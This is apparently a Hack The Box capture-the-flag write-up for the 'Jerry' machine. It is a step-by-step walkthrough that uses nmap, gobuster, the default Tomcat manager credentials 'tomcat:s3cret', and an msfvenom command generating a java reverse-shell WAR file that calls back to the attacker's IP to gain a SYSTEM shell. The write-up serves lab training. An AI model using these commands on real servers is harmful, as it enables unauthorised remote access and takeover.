Jacob Shodd
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Jerry
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Initial Enumeration
Our initial enumeration doesn't leave much to the imagination here, our quick nmap scan only returns one open port.
1
nmap -sV 10.10.10.95
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Nmap Results
Naturally we assume Tomcat is our target for this box. On tomcat instances, you can reach the management console at
/manage, but if you didn't know that already, you can find that using gobuster:1
gobuster dir -u http://10.10.10.95:8080 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 50
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Gobuster Results
For the login we treat it like any other application, google for default credentials. Doing this brought me to a great github repository for default credentials where I found this page. Using the credentials
tomcat:s3cret from that list gives us access.Execution
Looking at the management console, we see something that catches our eye as a path to execution:
WAR Upload Form
Know that we know we can deploy
war files to the server, we can generate a reverse shell with msfvenom:1
msfvenom -p java/shell_reverse_tcp LHOST=$(tunip) LPORT=4443 -f war > evil.war
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tunip is a handy bash alias I use to get my current IP address for Hack The Box. it is set to ifconfig tun0 | sed -n '2 p' | awk '{print \$2}' in my ~/.bash_aliasesIf you happen to work out of a folder shared between your kali VM and windows like I do, windows defender will nuke this file as soon as you generate it. So it's best to do this somewhere else (I just generated it in
/tmp)After uploading this file we can see it in the list of running applications:
Evil War Application
Clicking on the link to our malicious application triggers the reverse shell. It just happens that Tomcat is run as
nt authority/system in this case, so we now have full access to the system and are able to read the user and root flags:
User and Root Flags
Last modified 3mo ago
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